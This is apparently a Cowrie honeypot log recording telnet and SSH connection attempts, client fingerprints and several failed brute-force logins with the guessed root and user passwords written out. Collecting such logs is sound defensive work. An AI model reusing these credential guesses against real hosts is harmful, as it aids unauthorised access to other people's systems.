{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34138,"dst_ip":"10.17.0.5","dst_port":23,"session":"5757c467256d","protocol":"telnet","message":"New connection: 152.42.224.71:34138 (10.17.0.5:23) [session: 5757c467256d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:13.172794Z"}
{"eventid":"cowrie.session.closed","duration":69.99906158447266,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:20.617214Z","src_ip":"152.42.224.71","session":"0687fc49dc06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.86571002006531,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:20.646144Z","src_ip":"152.42.224.71","session":"ae2c0f9d9ef4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.458309173583984,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:29.378791Z","src_ip":"152.42.224.71","session":"c718d4ffb817","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33358,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa8bf1d7ce97","protocol":"ssh","message":"New connection: 80.94.92.184:33358 (10.17.0.5:22) [session: fa8bf1d7ce97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:32.671207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:32.728512Z","src_ip":"80.94.92.184","session":"fa8bf1d7ce97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:32.777990Z","src_ip":"80.94.92.184","session":"fa8bf1d7ce97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.670822143554688,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:32.843500Z","src_ip":"152.42.224.71","session":"5757c467256d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv321","message":"login attempt [solv/solv321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:33.340547Z","src_ip":"80.94.92.184","session":"fa8bf1d7ce97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:34.453696Z","src_ip":"80.94.92.184","session":"fa8bf1d7ce97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.37693905830383,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:37.338413Z","src_ip":"152.42.224.71","session":"7713bd56eb61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":53630,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ac4f43d3eb9","protocol":"ssh","message":"New connection: 87.251.79.125:53630 (159.203.135.109:22) [session: 2ac4f43d3eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:48.153651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:48.165070Z","src_ip":"87.251.79.125","session":"2ac4f43d3eb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:48.242629Z","src_ip":"87.251.79.125","session":"2ac4f43d3eb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blueshoe496","message":"login attempt [root/blueshoe496] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:48.464046Z","src_ip":"87.251.79.125","session":"2ac4f43d3eb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.5814733505249,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:48.920398Z","src_ip":"152.42.224.71","session":"05ceb722ec1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:49.540986Z","src_ip":"87.251.79.125","session":"2ac4f43d3eb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47946,"dst_ip":"10.17.0.5","dst_port":23,"session":"6228a29b8c83","protocol":"telnet","message":"New connection: 152.42.224.71:47946 (10.17.0.5:23) [session: 6228a29b8c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:53.798179Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47950,"dst_ip":"10.17.0.5","dst_port":23,"session":"b345a4475149","protocol":"telnet","message":"New connection: 152.42.224.71:47950 (10.17.0.5:23) [session: b345a4475149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:54.282974Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47964,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4ab5eb42c26","protocol":"telnet","message":"New connection: 152.42.224.71:47964 (10.17.0.5:23) [session: b4ab5eb42c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:54.510420Z"}
{"eventid":"cowrie.session.closed","duration":52.64825129508972,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:10:59.207516Z","src_ip":"152.42.224.71","session":"6b35de9a2682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.705596685409546,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:00.215876Z","src_ip":"152.42.224.71","session":"b4ab5eb42c26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42624,"dst_ip":"10.17.0.5","dst_port":23,"session":"5743f23861ac","protocol":"telnet","message":"New connection: 152.42.224.71:42624 (10.17.0.5:23) [session: 5743f23861ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:00.914210Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42632,"dst_ip":"10.17.0.5","dst_port":23,"session":"57e1b74cc049","protocol":"telnet","message":"New connection: 152.42.224.71:42632 (10.17.0.5:23) [session: 57e1b74cc049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:03.896860Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":49144,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4ee5bf9abec","protocol":"ssh","message":"New connection: 103.173.227.57:49144 (159.203.135.109:22) [session: d4ee5bf9abec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:06.324772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:06.329106Z","src_ip":"103.173.227.57","session":"d4ee5bf9abec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:06.569381Z","src_ip":"103.173.227.57","session":"d4ee5bf9abec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad12345","message":"login attempt [root/vlad12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:07.289969Z","src_ip":"103.173.227.57","session":"d4ee5bf9abec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60988,"dst_ip":"10.17.0.5","dst_port":23,"session":"337da22919ea","protocol":"telnet","message":"New connection: 152.42.224.71:60988 (10.17.0.5:23) [session: 337da22919ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:08.308537Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:08.532618Z","src_ip":"103.173.227.57","session":"d4ee5bf9abec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00597429275513,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:13.519351Z","src_ip":"152.42.224.71","session":"07d587156bbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60992,"dst_ip":"10.17.0.5","dst_port":23,"session":"377b4b3bc110","protocol":"telnet","message":"New connection: 152.42.224.71:60992 (10.17.0.5:23) [session: 377b4b3bc110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:13.636836Z"}
{"eventid":"cowrie.session.closed","duration":43.368502140045166,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:37.166553Z","src_ip":"152.42.224.71","session":"6228a29b8c83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54654,"dst_ip":"10.17.0.5","dst_port":23,"session":"eea723200385","protocol":"telnet","message":"New connection: 152.42.224.71:54654 (10.17.0.5:23) [session: eea723200385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:37.724566Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":42706,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d1f0ed2673b","protocol":"ssh","message":"New connection: 103.149.28.157:42706 (159.203.135.109:22) [session: 3d1f0ed2673b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:38.947940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:38.952651Z","src_ip":"103.149.28.157","session":"3d1f0ed2673b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:39.211155Z","src_ip":"103.149.28.157","session":"3d1f0ed2673b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertasdfg","message":"login attempt [root/qwertasdfg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:40.736701Z","src_ip":"103.149.28.157","session":"3d1f0ed2673b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00124192237854,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:40.955579Z","src_ip":"152.42.224.71","session":"1168cc4fa11a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:41.997807Z","src_ip":"103.149.28.157","session":"3d1f0ed2673b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":42370,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcd4c677a7fc","protocol":"ssh","message":"New connection: 171.244.37.103:42370 (10.17.0.5:22) [session: bcd4c677a7fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:42.248689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:42.252840Z","src_ip":"171.244.37.103","session":"bcd4c677a7fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:42.506044Z","src_ip":"171.244.37.103","session":"bcd4c677a7fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.410006046295166,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:43.324054Z","src_ip":"152.42.224.71","session":"5743f23861ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54664,"dst_ip":"10.17.0.5","dst_port":23,"session":"c79a1a8eddac","protocol":"telnet","message":"New connection: 152.42.224.71:54664 (10.17.0.5:23) [session: c79a1a8eddac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:43.496944Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"uucp","message":"login attempt [root/uucp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:43.552484Z","src_ip":"171.244.37.103","session":"bcd4c677a7fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54668,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc539994f480","protocol":"telnet","message":"New connection: 152.42.224.71:54668 (10.17.0.5:23) [session: cc539994f480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:44.275328Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:44.807878Z","src_ip":"171.244.37.103","session":"bcd4c677a7fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.08216857910156,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:46.390605Z","src_ip":"152.42.224.71","session":"337da22919ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55236,"dst_ip":"10.17.0.5","dst_port":23,"session":"95bf04766ec8","protocol":"telnet","message":"New connection: 152.42.224.71:55236 (10.17.0.5:23) [session: 95bf04766ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:48.323961Z"}
{"eventid":"cowrie.session.closed","duration":7.3963236808776855,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:50.893105Z","src_ip":"152.42.224.71","session":"c79a1a8eddac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.0607693195343,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:53.957535Z","src_ip":"152.42.224.71","session":"57e1b74cc049","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41830,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b170f76e0a2","protocol":"telnet","message":"New connection: 152.42.224.71:41830 (10.17.0.5:23) [session: 5b170f76e0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:11:59.046797Z"}
{"eventid":"cowrie.session.closed","duration":47.522998094558716,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:01.159736Z","src_ip":"152.42.224.71","session":"377b4b3bc110","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41846,"dst_ip":"10.17.0.5","dst_port":23,"session":"2934325207d8","protocol":"telnet","message":"New connection: 152.42.224.71:41846 (10.17.0.5:23) [session: 2934325207d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:03.451686Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53996,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e823c9b3ba8","protocol":"telnet","message":"New connection: 152.42.224.71:53996 (10.17.0.5:23) [session: 0e823c9b3ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:06.581655Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54000,"dst_ip":"10.17.0.5","dst_port":23,"session":"afa0f0a7626e","protocol":"telnet","message":"New connection: 152.42.224.71:54000 (10.17.0.5:23) [session: afa0f0a7626e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:06.950415Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54002,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfa9c0aed1af","protocol":"telnet","message":"New connection: 152.42.224.71:54002 (10.17.0.5:23) [session: cfa9c0aed1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:12:09.150721Z"}
